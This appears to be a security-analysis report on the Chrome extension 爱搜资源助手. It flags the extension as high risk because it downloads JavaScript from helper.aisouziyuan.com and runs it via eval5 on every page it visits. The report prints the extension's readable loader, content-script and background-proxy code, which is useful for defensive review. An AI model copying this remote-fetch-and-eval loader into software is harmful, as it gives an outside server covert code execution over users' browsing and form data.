Is 爱搜资源助手 safe?

High risk

爱搜资源助手 fetches JavaScript from helper.aisouziyuan.com and runs it on every HTTP and HTTPS page.

The extension starts on every HTTP and HTTPS page, downloads JavaScript from helper.aisouziyuan.com through its background worker, caches it locally, and executes it in an eval5 interpreter. That downloaded code runs with access to the page context, including URLs, page content, and form inputs. The extension also injects a hook that posts JSON fetch and XHR response bodies from matching pages into the page window.

Yunv4.0.8Chrome Web Store
73Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote script runs on visited pages

When you open any HTTP or HTTPS page, the extension's content script fetches JavaScript from helper.aisouziyuan.com, stores it locally, and runs it with eval5, giving that code access to page content, form fields, and the URL.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You open an HTTP or HTTPS page.

The extension is configured to run its content script at document start on both schemes.

The extension did this

The extension requests JavaScript from helper.aisouziyuan.com and executes the returned code in the page.

If cached code exists, it is evaluated first; when the refresh time has expired, the extension fetches a new js field and evaluates that too.

Captured request
POSThttps://helper.aisouziyuan.com/Extensions/Api/Js/4.0

200 OK JSON containing version 4.0.7 and a js field that was stored and evaluated.

Headers
version
4.0.8
content-type
application/json
Page data available to the downloaded script
  • Form input on the page
    search text typed into a page form (illustrative)

    The downloaded code runs with access to values entered into forms on the page you are viewing.

  • Current page URL
    https://example.com/search?q=cloud+drive

    The downloaded code can read which website and page you are visiting.

  • Rendered page content
    cloud-drive search results and page text (illustrative)

    The downloaded code can inspect content already loaded into the page.

The code that does this

The shipped code fetches, caches, and evaluates remote JavaScript

Readable version

API base URL written to extension storage

js/config.js
(a => {    const b = (a ? 'http://test.helper.aisouziyuan.com:51000' : 'https://helper.aisouziyuan.com') + '/Extensions/Api';    chrome['storage']['local']['set']({        '_debug_': a,        '_api_': b    });})(false);

Content script execution and update path

js/content-script.js
(async () => {    const {        _opendGetCode_ = !![], _hookRegUrl_ = []    } = await chrome['storage']['local']['get']();    const a = _hookRegUrl_['some'](c => new RegExp(c)['test'](window['location']['href']));    if (_opendGetCode_ && (_hookRegUrl_['length'] == 0x0 || a)) {        let c = document['createElement']('script');        c['setAttribute']('type', 'text/javascript');        c['src'] = chrome['runtime']['getURL']('/js/hook-build.js');        document['head']['appendChild'](c);    };    let b = document['createElement']('link');    b['setAttribute']('rel', 'stylesheet');    b['href'] = chrome['runtime']['getURL']('/css/index.css');    document['head']['appendChild'](b);})();const onload = async () => {    let a = new eval5['Interpreter'](window);    let b = null;    const {        _api_,        _debug_,        _localJS_,        _getCodeNumber_ = 0x0,        _opendGetCode_ = !![],        _codeToInput_ = !![],        _updateTime_ = 0x0,        _version_    } = await chrome['storage']['local']['get']();    try {        console['log']('Api:' + _api_, 'Debug：' + _debug_, 'UpdateTime', Date['now']() - _updateTime_);        let e = _updateTime_;        if (Date['now']() > _updateTime_) e = 0x0;        chrome['_api_'] = _api_;        chrome['_localJS_'] = _localJS_;        chrome['_getCodeNumber_'] = _getCodeNumber_;        chrome['_opendGetCode_'] = _opendGetCode_;        chrome['_codeToInput_'] = _codeToInput_;        chrome['version'] = _version_;        b = _localJS_;        if (b && typeof b == 'string') a['evaluate'](b);        if (e) return;        console['log']('AutoUpdate', e, typeof b);        let f = {            'url': _api_ + '/Js/4.0',            'method': 'POST'        };        c(f, g => {            let h = setInterval(async () => {                let i = await chrome['storage']['local']['get'](g);                if (!i[g]) return;                if (!i[g]['version']) return console['error']('update\x20error', i[g]);                clearInterval(h);                let {                    version,                    js,                    hookRegUrl = []                } = i[g];                chrome['_version_'] = version;                chrome['_hookRegUrl_'] = hookRegUrl;                chrome['_localJS_'] = js;                chrome['storage']['local']['set']({                    '_localJS_': js,                    '_version_': version,                    '_updateTime_': Date['now']() + 0x36ee80 * 0x8,                    '_hookRegUrl_': hookRegUrl                });                a['evaluate'](js);            }, 0x64);        });    } catch (g) {        console['error'](g);        let h = {            'url': _api_ + '/Js/4.0',            'method': 'POST'        };        c(h, i => {            let j = setInterval(async () => {                let k = await chrome['storage']['local']['get'](i);                console['log']('等待回复..', k);                if (!k[i]) return;                b = k[i];                chrome['storage']['local']['set']({                    '_localJS_': b                });                a['evaluate'](b);                clearInterval(j);            }, 0x1f4);        });    };    function c(i, j) {        chrome['runtime']['sendMessage'](i, function(k) {            console['log'](k);            if (chrome['runtime']['lastError']) {                console['error']('localJS\x20Error', chrome['runtime']['lastError']);                return;            };            j && j(k);        });    };    async function d(i) {        let {            url,            method,            body,            headers        } = i;        headers = Object['assign']({            'user-agent': 'Mozilla/5.0\x20(Windows\x20NT\x2010.0;\x20Win64;\x20x64)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/90.0.4430.212\x20Safari/537.36\x20Edg/90.0.818.66',            'content-type': 'application/x-www-form-urlencoded'        }, headers);        const j = await fetch(url, {            'body': body,            'cache': 'no-cache',            'credentials': 'same-origin',            'headers': headers,            'method': method || 'POST'        });        return j;    }};let readyState = ![];document['onreadystatechange'] = function(a) {    if (document['readyState'] == 'complete' && a) {        if (a) return;        console['log'](document['readyState']);        a = !![];        onload();    }};document['addEventListener']('DOMContentLoaded', async () => {    if (readyState) return;    console['log']('DOMContentLoaded');    readyState = !![];    onload();});

Background service worker fetch proxy

js/background.js
import "/js/config.js";(async () => {    const {        _api_,        _debug_    } = await chrome.storage.local.get();    console.log(_api_, _debug_);    chrome.runtime.onMessage.addListener(async (request, sender, sendResponse) => {        const requestId = `requestId_${Date.now()}${randomStr(true,2,5)}`;        try {            sendResponse(requestId);            let body = await $http(request);            if (!body) throw "请求失败";            chrome.storage.local.set({                [requestId]: body            })        } catch (error) {            chrome.storage.local.set({                [requestId]: {                    code: 400                }            })        }    });    function randomStr(a, b, c) {        var d = "",            range = b,            arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];        if (a) {            range = Math.round(Math.random() * (c - b)) + b        }        for (var i = 0; i < range; i++) {            let pos = Math.round(Math.random() * (arr.length - 1));            d += arr[pos]        }        return d    }    const {        version    } = await chrome.runtime.getManifest();    console.log("软件版本：", version);    async function $http(a) {        try {            let {                url,                method,                body,                headers            } = a;            headers = Object.assign({                'user-agent': 'Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66',                'content-type': 'application/json',                'version': version            }, headers);            const response = await fetch(url, {                body,                cache: 'no-cache',                credentials: 'same-origin',                headers,                method: method || 'POST',            });            let text = await response.text();            try {                return JSON.parse(text)            } catch (error) {                return text            }        } catch (error) {            return null        }    }})()
Remote host involved in the execution path
    • helper.aisouziyuan.com

    Receives the extension service-worker POST to /Extensions/Api/Js/4.0 and returns the JavaScript that the content script stores and evaluates.

What it can do

Permissions this extension asks for, as declared in version 4.0.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed 爱搜资源助手 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • helper.aisouziyuan.com

    爱搜资源助手 sends data to helper.aisouziyuan.com. No other extension we have analysed sends data here.

Updated 21 September 2026mbklgpngoohbbagagdfoccaclpdhgihd